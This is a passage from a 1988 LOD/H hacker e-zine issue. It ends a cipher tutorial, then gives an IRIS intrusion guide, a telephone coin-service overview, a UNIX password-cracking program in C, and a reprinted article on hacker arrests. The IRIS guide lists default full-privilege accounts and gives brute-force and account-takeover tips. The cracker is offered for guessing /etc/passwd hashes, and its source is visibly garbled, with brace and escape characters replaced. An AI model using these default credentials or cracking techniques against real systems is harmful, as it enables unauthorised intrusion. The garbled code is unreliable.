REM /* Goes through the loop updating into the inactive time (1 or 2 dep-
REM    ending on how Y and Y1 are assigned) */
  FOR I = 1 TO W
    A(I,Y) = A(I-1,Y1) XOR (A(I,Y1) OR A(I+1,Y1))
  NEXT I

REM /* Updates the ends of the array (logical positions 0 and 31) that
REM    are used in calculating other fields. */
  A(0,Y) = A(W+1,Y1) XOR (A(0,Y1) OR A(1,Y1))
  A(W+1,Y) = A(W,Y1) XOR (A(W+1,Y1) OR A(0,Y1))

REM /* Assigns the first cell to X as a random number */
  X = A(1,Y)

REM /* Flips the active time */
  TMP = Y
  Y = Y1
  Y1 = TMP

RETURN

         Ok, let's trace through a *small* example.  Assume our earlier
map of "AEIOU12345" and an automaton of width 5.  For a key, we'll use
"A15".

1) Assign ASC(A) to a(1,1), ASC(1) to a(2,1), ASC(5) to a(3,1).
   ("0" will represent an empty cell in this example.)
   A(time 1) = 0 65 49 53 0 0 0
   (Remember that an array of width 5 is going to have 7 actual elements)

2) Now then, we want to encrypt the string "EE3"
   First, we locate where E is in our map. LOKPOZ("E") = 2

3) Now then, we update the automaton.
   a(1,2) = 0 XOR (65 OR 49)
   a(2,2) = 65 XOR (49 OR 53)
   a(3,2) = 49 XOR (53 OR 0)
   a(4,2) = 53 XOR (0 OR 0)
   a(5,2) = 0 XOR (0 OR 0)

   Since this isn't a tutorial on binary numbers and boolean algebra, you'll
   have to trust me on this one...

   a(1,2) = 113
   a(2,2) = 116
   a(3,2) = 4
   a(4,2) = 53
   a(5,2) = 0

4) Now we update the ends.
   a(0,2) = 0 XOR (0 OR 65)
   a(6,2) = 0 XOR (0 OR 0)

   Again...
   a(0,2) = 65
   a(6,2) = 0

5) Now we switch the active time from 1 to 2, and our new automaton is
   a(time 2) = 65 113 116 4 53 0 0

6) We then pull off a(1,2) as the number to shift by.

7) Postion 2 + 113 (we're encoding, so we add) is 5 (modulo arithmatic.)

8) "E" is encoded into "U".

9) We repeat this two more times (you don't really want me to step through
   it all, do you?) and end up with the encrypted version.

         Well, that's going to pretty much wrap this file up.  If you are
interested in more files of this nature, let me know.  If you find this totally
confusing, but want to learn more, call The Phoenix Project at 512/441-3088
(300/1200/2400, 24 hours a day).  Our friendly and helpful LOD/H staff will be
glad to assist you.  Other people who you might want to talk to about
encryption include Dr. Cypher, Tuc, and Prime Suspect.
         Also, if you are interested in seeing the above algorithm applied in
other languages let me know.  If there's enough of a demand I'll release C,
Modula-2, and ADA versions.

       This has been a Legion of Doom/Legion of Hackers presentation!

                              The Mentor
                                 LOD/H

*****************************************************************************
References and Acknowledgments:

"How to Generate Cryptographically Strong Sequences of Pseudo-Random Bits";
M. Blum & S. Micali; SIAM Journal of Computing, vol. 13, p. 850 (1984)

"Functions of Random Variables"; John Freund & Ronald Walpole;
Mathmatical Statistics, 4th Edition; Prentice-Hall Inc., NJ; pp. 240-71

"Building an Encryption System"; Peter Wayner
Computer Language, Vol. 4, Num. 12, p. 67 (Dec. 1987 Issue)

"Random Sequence Generation by Cellular Automata"; Institute for Advanced
Study; Advances in Applied Mathmatics;

"Breaking Pseudo-Random Number Based Cryptographic Algorithms"; M. Vahle &
L. Tolendino;  CRYPTOLOGIA, Oct 1982, p. 319

Also my thanks to: TUC, The Leftist, Prime Suspect, and Dr. Cypher, who all
     contributed to this one way or another.

***************************************************************************


The LOD/H Technical Journal, Issue #3: File 07 of 10

            IIIIIIIIII   RRRRRRRRRR   IIIIIIIII   SSSSSSSSSS
                II       RR      RR      II       SS      SS
                II       RR      RR      II       SS
                II       RRRRRRRRR       II       SSSSSSSSS
                II       RR  RR          II              SS
                II       RR    RR        II       SS      SS
            IIIIIIIIII   RR      RR   IIIIIIIII   SSSSSSSSS

          #:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#
          |                                                   |
          #     Introduction to The Iris Operating System     #
          |                                                   |
          #                         by                        #
          |                                                   |
          #                     The Leftist                   #
          |                                                   |
          #              The Legion of Doom/Hackers           #
          |                                                   |
          #:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#:#

                                  IRIS
                <INTERACTIVE REAL TIME INFORMATION SYSTEM>

    Iris is an operating system which most people have heard little or nothing
about.  Many Businesses across the country are starting to use computers which
support the IRIS operating system. IRIS is not new though, it was originally
written to run on PDP-11, Data General, and Royal Systems.  IRIS has grown in
popularity due to the major revisions which have been made over the years and
is a fairly easy system for anyone to learn.  This article, though not a
complete guide to IRIS, will give you the basic knowledge neccesary to
identify, enter, and access information once in.


Finding IRIS
------------

    You'll know you've found an IRIS system by its login banner, which usually
looks like this:

Welcome to "IRIS" R9.1.4 timesharing

This is Dr. BOB'S OFFICE!

ACCOUNT ID?


Logging in
----------

    To log into an IRIS system after connecting <at 7E1 usually> press the
escape key.  You should get a message asking for account ID at which point you
would enter your ID followed by a c/r.  You're in the system when you get a #
prompt.  If you've entered an incorrect ID, the normal error message would be:

INVALID

    The nice thing about IRIS from a hacker point of view is that it will allow
you to brute force hack your way in, never keeping a log of unsuccessful
tries, and never hanging up on you.
    If you don't think your ID is being entered properly, you can turn the
echo back on by first hitting a Control-E. If you suspect parity trouble on
your login <ie: the E key beeps every time you hit it> try hitting a Control-P
to change the parity.

Default Accounts
----------------

Try the account names below, and also try them with 1 or 2 spaces after them in
upper and lower case.


ACCOUNT                COMMENTS                      Privelege level
DDDDDDD       DDDDDDDDDDDDDDDDDDDDDDDDDD        DDDDDDDDDDDDDDDDDDDDDDDDDD
MANAGER       < works 99% of the time >         3     full system priv's

BOSS          < manager account       >         3     full system priv's

SOFTWARE      < software dept account >         2     general user access

DEMO          < demonstration account >         1     scum of the earth priv's

PDP8          < always on rev 7.0     >         3     full system priv's

PDP11         < always on rev 7.0     >         3     full system priv's

ACCOUNTING    < accounting dept.      >         2     general user

     Also try the company's name, or its intials.  Sometimes system operators
place control characters in their ID's, or spaces <usually one, sometimes two>
at the end of their account names, this security 'trick' is used due to the
operating system not asking for passwords. Like PRIMOS version 18 systems, all
you needed was a valid username to get in. There are plans of implementing
passwords in the future for IRIS.


YOU'RE IN!
----------

So you're in- hopefully with full priv's.

    The users Privilege Level may be 0, 1, 2, or 3 indicating General,
Privileged, Manager, or Superuser privileges respectively. Only the Superuser
account can access the ACCOUNTS file, but all level two accounts are given
most other privileges that a level 3 account have.

    If you were able to log in with a privilege level of 3, you'll be allowed
to run the program ACCOUNTUTILITY or ACCOUNTS, depending on the version of
IRIS is running.  This is almost always found on LU 0, along with all the
other system utilities.  ACCOUNTUTILITY is menu driven, and you should have no
problem using it.

Accounts File
-------------

The Accounts File contains the following information

Account ID
Assigned priority
Assigned Logical Unit #
Account# <Group and User>
Alloted CPU time <in seconds>
Alloted disk blocks
Number of disk blocks in use
Peak # of disk blocks in use
Net File Charges


ACCOUNTUTILITY
--------------

    This program is for editing the accounts on the system.  You must be a
manager on the system <level 3> to run this program, or else have a way to
change the protection of BOTH the accounts file, and the ACCOUNTUTILITY
program.  If this is done, anyone can run the program.  After typing
ACCOUNTUTILITY you'll get the following menu:

ACCOUNTS FILE MAINTENANCE  REV 2.2

(0) EXIT TO SYSTEM
(1) ADD NEW ACCOUNT
(2) MODIFY ACCOUNT
(3) DELETE ACCOUNT
(4) INQUIRE ACCOUNT
(5) LIST THE ACCOUNTS

ENTER FUNCTION NUMBER:

It's all pretty straightforward, I don't think I need to go on about this
feature...

What to do Inside
-----------------

    The first thing you want to do once inside IRIS is to issue the command PP
which will show you who's on, and what they're currently doing.  Sometimes PP
has been renamed to PORT ALL MONITOR. If you logged in and it said your
Logical Unit was not active, you must install the system under the MANAGER
account.  To do this, log in on a full privs account, and type IN, INSTALL, or
FASTINSTALL.  This should allow you to activate all the system's Logical
Units.  Normally, the Logical Units (referred to as LU's) range from 0-99, 99
being a ramdrive.  If you choose to just install Logical Unit number one, the
command would be INSTALL 0.1 and so on.  If you are told Logical Unit x
exists, change? DO NOT CHANGE IT!  Instead, attempt to install a Logical Unit
that doesn't already exist.

To list all the files on the Logical Unit assigned to your account, type LIBR.
To list only certain files type LIBR x where x = searchcriteria.
To list the files on another LU, type LIBR x/ where x = the LU number.
To list all the files that you have read access to, type LIBR @.
To list only files that belong to you, type LIBR @g,r where g is your group,
   and u is your user #.
To list files accessed within h hours, type LIBR >h where h is a decimal #.

Anyway, you'll see something like this:

#LIBR

LOGICAL UNIT #0       JUL 30, 1988  19:50:03

* FILENAME[VOL]  PROT   COST  SIZE  ACCOUNT  AGE  HSLA  TYPE  PRIV  HBA
S  ASM            33   $0.00    11    0, 1  11068 11068  401   3    400
B  RUN            33   $0.00    21    0, 1  11068     0  602   3    344
T  SU.DSUBS       22   $0.00    22    0, 1  11068     5   30   3      7

and so on....

Running Programs
----------------

    Most Application Software for IRIS is written in business basic, which is
basic with extended functions specifically for business applications.

To execute a runnable file at the # prompt, just type the file's name.
To exit into basic, just type BASIC.
To run a program, simply type its name.
To load a program type BASIC LOAD x where x = filename.
To list a program once in basic, type X LIST X where, in both cases X = the
   line you want to list or simply type LIST to list all the lines of the
   program.

                    File Type Chart

Number        Letter                 File Type

0               P               Permanent System File
1               S               System processor or file
2               B               BASIC processor or program
3               A               Stand alone processor or program
4               X               EXECUTE processor or program
5               G               GPM program
6               M               MUMPS processor or program
7               W               COURSE WRITER processor or program
20              Q               Stand alone compiler
21              J               Stand alone relocating assembler
22              L               Stand alone relocatable loader
23              R               Relocatable binary object tape image
24              I               Indexed relocatable binary library
27              Z               Temporary file
30              T               Text file
31              F               Formatted data file
32              C               Contiguous data file
36              $               Peripheral device driver

Passworded Files
----------------

    Sometimes a password will be added to the end of a file name to limit
access to users who have knowledge of the password.  To access a passworded
file, type the following: FILEX ^Epass^E

The ^E is correctly represented as Control-E.  The common defaults for
passworded files <especially on LU0> are the letter X and the word THINK.


Kicking Users off the System
----------------------------

    This is something you do not want to do unless an emergency situation
arises, in which case you would issue the PPP command. This is the port
eviction utility.  It will then ask you which port you would like to evict or
you may type the word ALL to evict everyone but yourself.  This is useful if
you hang a printer port, or are afraid you may have dumped data to a printer
which is offline.


PORT.STAT
---------

    This command gives you the status of a given port, and its channels. to
run it type:

PORT.STAT


PP
--

    PP lets you see who is on the system, what port they're on, what baud rate
they're running, and what process they're running. Just type PP from the #
prompt. IRIS will give you information about the ports on the system and then
will ask you if you would like channel status. Either type in the channel that
you wish to see the status of, or hit return to exit.


GAMES
-----

    Yes, there are even games on IRIS, all the old PDP games hunt the wumpus,
tic-tac-toe, etc...sure to provide hours of amusement.


Changing the Baud Rate of a Port
--------------------------------

    To change a port's baud rate, type PORT BAUD x where x is a standard baud
rate <110,300,600,1200,2400,9600,19200>.  Don't change the baud rate of the
port you are on. This command is useful for temporarily disabling a user.


Copying Files
-------------

    Copy is a general purpose command for moving data of any type from a
specified source to a specified destination.  Also, data from several sources
can be merged into one destination file.

The general form of the copy command is:

Copy dest = Source1,Source2   etc....

Where dest is the filename under which the destination file is to be built.


Mail
----

To mail a one line message to another port, the following command applies:

MAIL p "Hello My name is Joe Comosolo" where p =  the port # to mail to.


Loading Text Files
------------------

A text file can be loaded by use of the command:

EDIT SFILE,DFILE
an exclamation mark must be used to copy over an existing file.

A new text file may be created by typing:
EDIT,Filename

If you just want to examine a text file, then just type
EDIT Filename

Some systems also have the TYPE filename command.


BYELOG
------

This command allows you to edit the login message you receive before you are
prompted for your account id.  The syntax is:

BYELOG message to be printed


Logging Off
-----------

>From the # prompt, type BYE and hit return.


Conclusion
----------

    I hope that article file proves useful.  Keep it in your archives for the
next time you stumble onto an IRIS system. If you have any questions, comments,
or gripes, I can be reached on The Phoenix Project at 512/441-3088.


The LOD/H Technical Journal, Issue #3: File 08 of 11


           __________________________________________________________
         @@                                                          @@
       @@         Coin Service, The Central Office, and You            @@
     @@                                                                  @@
   @@                                   by                                 @@
   @@                                                                      @@
     @@                             Phase Jitter                         @@
       @@                                                              @@
         @@                        Legion of Doom!                   @@
           @@______________________________________________________@@


     In this file I will attempt to give a basic overview of how various
central offices handle coin service.  If you feel your interest grows due to
this file there are other good technical documents about coin service, i.e.
Bell System Practices, CDs, PDs ect..


     Coin service is differentiated from other services by a special class of
service.  All switching systems give -48 volt battery toward the coin phone on
the ring side of the line.  Coin-First lines have an open TIP during a normal
receiver-on-hook condition.  When a line goes off hook the central office
takes no action and in fact can not detect the off hook condition due to the
line's conditioning-for-ground start.   When the customer deposits money the
coin ground is extended to the ring side of the line. The ground signals the
line equipment in the central office as a to give a dial tone.
     Dial-Tone First offices give both the battery and ground to the coin
station, thus providing a dial tone equivalent to a POTS phone.  All coin
service is super current sensitive. (The central office must give at least 23
milliamps of line current and 41 milliamps of coin control current to the
farthest coin station.)


     The switching systems differ in the method which calls are handled.


No. 5 Crossbar

     The No. 5 crossbar coin-first offices must have a dual wound line relay
with both windings in series when dealing with a coin first situation.  If any
Coin-First lines are served in a No. 5 crossbar office the originating
registers must be able to desensitize the (pulsing) L relay by providing a
resistive ground throgh its tertiary winding via the coin class of service
relay.
     Crossbar offices can give coin return from Originating Registers,
TSPS/Cordboard trunks, Ring and Tone trunks, Announcement trunks, and Coin
Supervisory circuits.  Coin collect current is only given through
TSPS/Cordboard trunks and Coin Supervisory circuits.  The only circuit that
can handle a stuck coin test is the coin supervisory circuit.
     Crossbar offices handle coin actions on locally completed calls in the
coin supervisory circuit (CS).  All trunks must have access to the CS circuit
or use coin junctors or coin 1A0 trunks that have such access.  The use of
coin junctors or coin 1A0 trunks elimnate the need for other trunks to be hard
wired to the Coin Supervisory Link.  When the trunk's supervisory relays show
a coin action is needed the trunk searches for an idle Coin Supervisory
Circuit through the Coin Supervisory Link.  The bridged connection allows the
Coin Supervisory Circuit to give the proper collect or return current toward
the coin telephone and test to see if the action was successful.
     Crossbar offices handle coin actions required by DDD calls or TSPS
operators in the No. 5 crossbar TSPS trunk.  The TSPS base unit signals the
No. 5 office by either frequencies or multiwinks.  The No. 5 office receives
these signals and the trunk applies one pulse of coin collect or return or
ring back.  The No. 5 TSPS trunk dose not make a test to see if the required
coin action is successful.  If the coin is still present the call is dropped
and the coin remains in the trap.


ESS

     ESS offices provide all coin control actions from the Coin Control
Circuit.  The Coin Control Circuit is switched to a customers line under
program control.  The Coin Control Circuits always make a stuck coin test at
the end of a call.
     ESS offices handle coin actions required by DDD or TSPS operators by
scanning the TSPS trunk looking for any control signals from the TSPS base
unit.  When the ESS office sees a request on the TSPS trunk the ESS office
opens the talking path and attaches a multifrequency (MF) reciever.  The MF
reciever looks at the tones being sent from the TSPS base unit transmitter and
checks if the signal requested is a  coin collect, coin return, ring back, or
operator attached.
     Dial-Tone First (DTF) offices not equipped with expanded In-Band
Signaling give +48V talk battery during operator attached and 48V talk
batttery during the rest of the call.  If the TSPS signals for coin return the
ESS office will open the talk path again, release the MF receiver and switch
the line to the Coin Control Circuit which applies  -130V  coin return
potential.  After the coin control function is finished the system will make
on recycle attempt if the coin ground is still present.
     Local calls are handled within the ESS machine.  When a coin control
function is required the program momentarily opens the talk path and switches
the line to a Coin Control C  cuit which applies the required current.

Step By Step
     Coin lines in a Step By Step area are served on dedicated Line Finder
groups.  The Line Finders are hardwired to a coin box trunk and then cabled to
a first selector appearance.
     Step By Step offices can give coin return from coin box trunks,
TSPS/Cordboard trunks, and other miscellaneous trunks. (My knowledge of Step
By Step is vague, it's kind of like trying to research dinosaurs.)
     Step By Step offices handle coin actions on local calls in the coin box
trunks.  The coin box trunk applies the coin control current through the
winding of a relay to the coin station hopper trigger ground.   When the coin
station ground disappears, the coin box trunk relay releases and allows the
connection to restore to normal.  Some Step By Step offices have a timed
release circuit that will time out after about eight attempts of coin control
action, peg the stuck coin register, then release.  If the timed release
circuit is not provided and a coin ground can not be removed, the circuit must
be manually released.
     Step By Step offices handle coin actions required by DDD calls or TSPS
operators in the Step By Step TSPS trunk.  The TSPS base unit signals the Step
office by either frequencies or multiwinks.  The Step office trunk recicves
these signals and trunk applies one pulse of coin collect, coin return or ring
back.  The trunk does not make a test to see if the action was successful.
     If a DDD call was completed to a busy number the Step By Step TSPS trunk
will apply one quick pu  e of coin return toward the coin station,  then the
coin box will check to see if the coin ground has disappeared.  If the ground
is still present the coin box trunk will repeat the attempt to collect the
coin.


     If you have any further questions about how the central  office handles
coin service or about coin service in general, I can be reached via E-mail on
The Phoenix Project at 512/441-3088.

          Oct 1988 - Phase Jitter....Legion of Doom/Hackers!







The LOD/H Technical Journal, Issue #3: File 09 of 11

----------------> UNIX Password Hacker: Courtesy of USENET <------------------

    The following is an extensive unix password hacking program taken off
USENET awhile back. It resembles Shooting Sharks' HPW.C program in some ways
but this program has more options. Read the REM statements to determine what
options you wish to enable. If nothing else, this program can give those who
wish to write a similar program an idea of how and what you want to put in it.


- - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - -
-


#include <stdio.h>
#include <pwd.h>
#include <ctype.h>

#define index strchr
#ifndef lint
static char *rcsid = "$Header: pwchkr.c,v 1.2 85/11/30 22:42:07 richl Exp $";
#endif

/*
 * Warning: this program burns a lot of cpu.
 */
/*
 * pwchkr - find accounts with poor passwords
        Date: Tue, 29 Nov 83 18:19:32 pst
        From: leres%ucbarpa@Berkeley (Craig Leres)
            Modified by Seth Alford, Roger Southwick, Steve Dum, and
            Rick Lindsley for Tektronix
 */

/*
 *      $Log:   pwchkr.c,v $
 *      Revision 1.2  85/11/30  22:42:07  richl
 *      Added code to allow for password aging.
 *
 *      Revision 1.1  85/09/10  16:00:56  root
 *      Initial revision
 *
 *
 * By default, this program only checks for accounts with passwords the same
 * as the login name. The following options add more extensive checking. (The
 * tradeoff is cpu time -- with all options enabled it can run into the 100's
 * of MINUTES.) Any argument that does not begin with a "-" is assumed to be
 * a file name. (A single '-' means stdin.) If no file name is given,
 * /etc/passwd is used.
 *
 * Options:
 *
 *              -v:     verbose -- list all guesses on stdout
 *              -u:     output teh username on the line of the password file
 *                      currently being checked. If the program stops
 *                      abruptly you will then know how far it got.
 *              -w file: use the list of words contained in "file" as likely
 *                      passwords. Words in the file are one to a line.
 *              -b:     check all guesses backwards too
 *              -g:     use the Full Name portion of the gecos field to
 *                      generate more guesses
 *              -s:     check the single letters a-z, A-Z, 0-9 as passwords
 *              -c:     with each guess, check for all-lowercase and
 *                      all-uppercase versions too.
 *              -n:     complain about null passwords (default is to keep
quiet)
 */

int verbose = 0, singles = 0, backwards = 0, checkgecos = 0, checkcase = 0,
    chknulls = 0, users = 0, chkwords = 0;

char *index(), *reverse();
long atol();
FILE *fopen();
char *fgets();

char PASSWD[] = "/etc/passwd";
char EMPTY[] = "";
static FILE *pwf = NULL, *wlf = NULL;
char line[BUFSIZ+1];
struct passwd passwd;
char    *Curpw, *Wordlist = NULL;

main(argc, argv)
char **argv;
$
    register int i;
    register char *arg;
    int onedone = 0;


    for (i = 1; i < argc; i++)
        if ((arg = argv[i]) && *arg == '-')
            while (*++arg) $
                switch (*arg) $
                    case 'n':
                        /*
                         * complain about null passwords
                         */
                        chknulls++;
                        break;
                    case 'c':
                        /*
                         * check cases
                         */
                        checkcase++;
                        break;
                    case 'g':
                        /*
                         * use gecos
                         */
                        checkgecos++;
                        break;
                    case 'v':
                        /*
                         * turn on motormouth
                         */
                        verbose++;
                        break;
                    case 'b':
                        /*
                         * check all attempts forwards and backwards
                         */
                        backwards++;
                        break;
                    case 's':
                        /*
                         * carry out a more intensive search, checking for
                         * single letter passwords
                         */
                        singles++;
                        break;
                    case 'u':
                        /*
                         * print out users as testing
                         */
                        users++;
                        break;
                    case 'w':
                        /*
                         * consult word list of likely passwords
                         */
                        if ((Wordlist = argv[i+1]) == NULL) $
                            fprintf(stderr,
                                "%s: No file supplied with -w optionXn",
                                argv[0]);
                            exit (1);
                            
                        argv[i+1] = NULL;
                        break;
                    case 'X0':
                        /*
                         * read from stdin
                         */
                        break;
                    default:
                        fprintf(stderr,
                            "%s: unknown option '%c'. Options are:Xn",argv[0],
                            *arg);
                        /* FALL THRU */
                    case '-':
                        fprintf(stderr,"-v:XtXtverbose -- list all guesses on
stdoutXn");
                        fprintf(stderr,"-u:XtXtoutput the username currently
being checkedXn");
                        fprintf(stderr,"-w file:Xtconsult the indicated file
for words to check as passwordsXn");
                        fprintf(stderr,"-b:XtXtcheck all guesses forwards and
backwardsXn");
                        fprintf(stderr,"-g:XtXtuse the Full name portion of the
gecos field for more guessesXn");
                        fprintf(stderr,"-s:XtXtcheck the single letters a-z,
A-Z, 0-9 as passwordsXn");
                        fprintf(stderr,"-c:XtXtcheck the all-upper and
all-lower case version of each guessXn");
                        fprintf(stderr,"-n:XtXtcomplain about null
passwordsXn");
                        exit(1);
                    
                argv[i] = NULL;
                

    for (i = 1; i < argc; i++) $
        if (argv[i] == NULL) continue;
        onedone++;
        if (*(argv[i]) == '-') $
            /*
             * read from stdin; we'll cheat and set pwf directly
             */
            pwf = stdin;
            chkpw();
            /*
             * don't fclose stdin!
             */
            clearerr(stdin);
            
        else $
            if (setpwent(argv[i])) $
                perror(argv[i]);
                continue;
                
            Curpw = argv[i];
            chkpw();
            endpwent();
            
        
    if (!onedone) $
        Curpw = NULL;
        chkpw();
        
    exit(0);


#define ARB_CONST       30000

chkpw()

$
    register char       *cp, *cp2;
    register struct passwd *pwd;
    struct passwd       *getpwent();
    char                guess[100];
    char                *wordarray[ARB_CONST];
    char                *malloc(), **wordptr, **endptr;
    int                 done = 0;


    if (Wordlist)
    $
        if ((wlf = fopen(Wordlist,"r")) == NULL)
        $
            perror(Wordlist);
            exit(1);
        

        wordptr = wordarray;
        /*
         * note that endptr points to space OUTSIDE of wordarray
         */
        endptr = wordarray + (sizeof(wordarray)/sizeof(char *));

        while (fscanf(wlf,"%[^Xn]Xn",guess) != EOF)
        $
            if (wordptr == endptr)
            $
                fprintf(stderr,"Ran out of wordlist space. ARB_CONST %d must be
too small.Xn", ARB_CONST);
                exit(1);
            
            if ((*wordptr = malloc(1+strlen(guess))) == NULL)
            $
                fprintf(stderr,"malloc: no more memory for wordlistXn");
                exit (1);
            
            strcpy(*wordptr,guess);
            wordptr++;
        
        *wordptr = NULL;
    

    while ((pwd = getpwent()) != 0 ) $

        if (verbose || users) $
            if (Curpw == NULL)
                printf("Xt%s X"%sX"Xn", pwd->pw_name, pwd->pw_gecos);
            else
                printf("%s -- Xt%s X"%sX"Xn", Curpw, pwd->pw_name,
                    pwd->pw_gecos);
            fflush(stdout);
            
        if (*pwd->pw_passwd == 'X0') $
            if (chknulls) $
                if (Curpw == NULL)
                    printf("Problem: null passwd:Xt%sXtshell: %sXn",
                        pwd->pw_name, pwd->pw_shell);
                else
                    printf("%s -- Problem: null passwd:Xt%sXtshell: %sXn",
                        Curpw, pwd->pw_name, pwd->pw_shell);
                fflush(stdout);
                
            continue;
        
        /*
         * Try the user's login name
         */
        if (uandltry(pwd,pwd->pw_name))
            continue;

        /*
         * Try names from the gecos field
         */
        if (checkgecos) $
            strcpy(guess, pwd->pw_gecos);
            cp = guess;
            if (*cp == '-') cp++;               /* special gecos field */
            if ((cp2 = index(cp, ';')) != NULL)
                *cp2 = 'X0';

            for (;;) $
                if ((cp2 = index(cp, ' ')) == NULL) $
                    if (uandltry(pwd,cp))
                        done++;
                    break;
                    

                *cp2 = 'X0';

                if (uandltry(pwd,cp)) $
                    done++;
                    break;
                    
                cp = ++cp2;
                
            

        if (!done && Wordlist)
        $
            /*
             * try the words in the wordlist
             */
            wordptr = wordarray;
            while (endptr != wordptr)
            $
                if (*wordptr == NULL)
                    break;
                if (uandltry(pwd,*wordptr++))
                $
                    done++;
                    break;
                
            
        
        if (!done && singles) $
            /*
             * Try all single letters
             * (try digits too .  --Seth)
             */
            guess[1] = 'X0';
            for (guess[0]='a'; guess[0] <= 'z'; guess[0]++)
                if (try(pwd,guess))
                    break;
            for (guess[0]='A'; guess[0] <= 'Z'; guess[0]++)
                if (try(pwd,guess))
                    break;
            for (guess[0]='0'; guess[0] <= '9'; guess[0]++)
                if (try(pwd,guess))
                    break;
            
    


/*
 * Stands for "upper and lower" try.  Calls the "real" try, below,
 * with the supplied version of the password, and with
 * an upper and lowercase version of the password. If the user doesn't
 * want to try upper and lower case then we just return after the one
 * check.
*/

uandltry (pwd,guess)
char *guess;
struct passwd *pwd;
$
    register char *cp;
    char buf[100];
    int alllower, allupper;

    alllower = allupper = 1;

    if (try(pwd,guess) || (backwards && try(pwd,reverse(guess)))) return (1);

    if (!checkcase) return(0);

    strcpy (buf, guess);
    cp = buf-1;
    while (*++cp) $
        if (isupper(*cp))
            alllower = 0;
        if (islower(*cp))
            allupper = 0;
        

    if (!allupper) $
        for ( cp=buf; *cp != 'X0'; cp++)
            if (islower (*cp))
                *cp += 'A' - 'a';

        if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
        

    if (!alllower) $
        for ( cp = buf; *cp != 'X0'; cp++)
            if (isupper (*cp))
                *cp += 'a' - 'A';

        if (try(pwd,buf) || (backwards && try(pwd,reverse(buf)))) return (1);
        
    return (0);


try(pwd,guess)
char *guess;
register struct passwd *pwd;
$
    register char  *cp;
    char   *crypt ();

    if (verbose) $
        if (Curpw == NULL)
            printf ("Trying X"%sX" on %sXn", guess, pwd -> pw_name);
        else
            printf ("%s -- Trying X"%sX" on %sXn", Curpw, guess,
                pwd -> pw_name);
        fflush (stdout);
        
    if (! guess || ! *guess) return(0);
    cp = crypt (guess, pwd -> pw_passwd);
    if (strcmp (cp, pwd -> pw_passwd))
        return (0);
    if (Curpw == NULL)
            printf ("Problem: Guessed:Xt%sXtshell: %s passwd: %sXn",
                pwd -> pw_name, pwd -> pw_shell, guess);
    else
            printf ("%s -- Problem: Guessed:Xt%sXtshell: %s passwd: %sXn",
                Curpw, pwd -> pw_name, pwd -> pw_shell, guess);
    fflush (stdout);
    return (1);

/* end of PW guessing program */

#define MAXUID 0x7fff   /* added by tonyb 12/29/83 */
                        /* altered to a reasonable number - mae 8/20/84 */

/*
 * Add a parameter to "setpwent" so I can override the file name.
 */

setpwent(file)
char *file;
$
        if ((pwf = fopen(file,"r")) == NULL)
            return(1);
        return(0);


endpwent()

$
    fclose(pwf);
    pwf = NULL;


char *
pwskip(p)
register char *p;
$
        while(*p && *p != ':' && *p != 'Xn')
                ++p;
        if(*p == 'Xn')
                *p = 'X0';
        else if(*p)
                *p++ = 'X0';
        return(p);


struct passwd *
getpwent()
$
        register char *p;
        long    x;

        if(pwf == NULL)
            if (setpwent(PASSWD)) $
                perror(PASSWD);
                return(NULL);
                
        p = fgets(line, BUFSIZ, pwf);
        if(p == NULL)
                return(0);
        passwd.pw_name = p;
        p = pwskip(p);
        passwd.pw_passwd = p;
        p = pwskip(p);
        x = atol(p);
        passwd.pw_uid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
        p = pwskip(p);
        x = atol(p);
        passwd.pw_gid = (x < 0 || x > MAXUID)? (MAXUID+1): x;
        passwd.pw_comment = EMPTY;
        p = pwskip(p);
        passwd.pw_gecos = p;
        p = pwskip(p);
        passwd.pw_dir = p;
        p = pwskip(p);
        passwd.pw_shell = p;
        (void) pwskip(p);

        p = passwd.pw_passwd;
/*      while(*p && *p != ',')
                p++;
        if(*p)
                *p++ = 'X0';
        passwd.pw_age = p;
*/
        return(&passwd);




/*
 * reverse a string
 */
char *reverse(str)
char *str;

$
    register char *ptr;
    register int len;
    char        *malloc();

    if ((ptr = malloc((len = strlen(str))+1)) == NULL)
        return(NULL);
    ptr += len;
    *ptr = 'X0';
    while (*str && (*--ptr = *str++))
        ;
    return(ptr);



- - - - - - - - - - - - - - - - - cut here - - - - - - - - - - - - - - - - - -
-

The LOD/H Technical Journal, Issue #3: File 10 of 11

 ----------------> Clearing up the Mythical LOD/H Busts <------------------


    Following is an article taken from Pirate-80 that Scan Man typed up which
talks about the summer busts of 87.  They called it the "LOD" case but as
usuall, they were disillusioned.  Our guess is that Oryan Quest was one of the
first to be investigated, and due to his calling of other hackers when a DNR
was on his line, led the authorities to the others who were eventually
visited.  Oryan claimed he was in LOD and this is where they must have gotten
the idea that everyone he spoke to was in LOD also.  In this respect the
article is rather humorous in that they caught people who were not in LOD/H.
Normally we would not put reprints of magazine articles in the LOD/H Technical
Journal, but seeing how it is relevant in clearing up any misconceptions, we
decided to put it in.

------------------------------------------------------------------------------
Remember, Oryan Quest is *NOT* now, *NEVER* has, and *NEVER* will be in LOD/H!
------------------------------------------------------------------------------

From: SCAN MAN
To: ALL
Subj: LEGION OF DOOM BUST


WAR AGAINST PHONE HACKING HEATS UP
BY GREGG PEARLMAN, ANTIC ASSISTANT EDITOR

Computer break-ins are no longer viewed as harmless pranks.  For example,
unauthorized computer access is a misdemeanor under 502PC of the California
Penal Code if you just trespass and browse around -- and if it's your first
offense.
But:  "Any person who maliciously accesses, alters, deletes, damages, destroys
or disrupts the operation of any computer system, computer network, computer
program or data is guilty of public offense" -- a felony under Section C of
that code.  Even changing a password to "Gotcha" is a felony if it can be
proven that it was a "malicious access."
In California, the maximum punishment is state imprisonment, a $10,000 fine and
having your equipment confiscated.  The penalty depends on who you are, your
prior record and the seriousness of the crime.
And you don't have to, for instance, breach national security to be guilty of a
felony.  Accessing even a simple system of a small company could damage vital
data for more than a year's worth of business, especially if that company
didn't properly back up its data.
There are all kinds of computer crime.  Stealing an automated teller machine
card and withdrawing money from an account is a computer crime because you're
using a computer to get money out of a system.  But simply trespassing in a
system and not doing any damage is normally a misdemeanor, according to Sgt.
John McMullen of the Stanford University Police Services.  This kind of crime
has become very common. "Every kid with a computer is tempted," he said.
Unfortunately, it can take months to complete an investigation.  For instance,
the so-called "LEGION OF DOOM" case, beginning in September, 1986, took 10
months to solve and involved people in Maryland, New York, Pennsylvania, Oregon
and California.
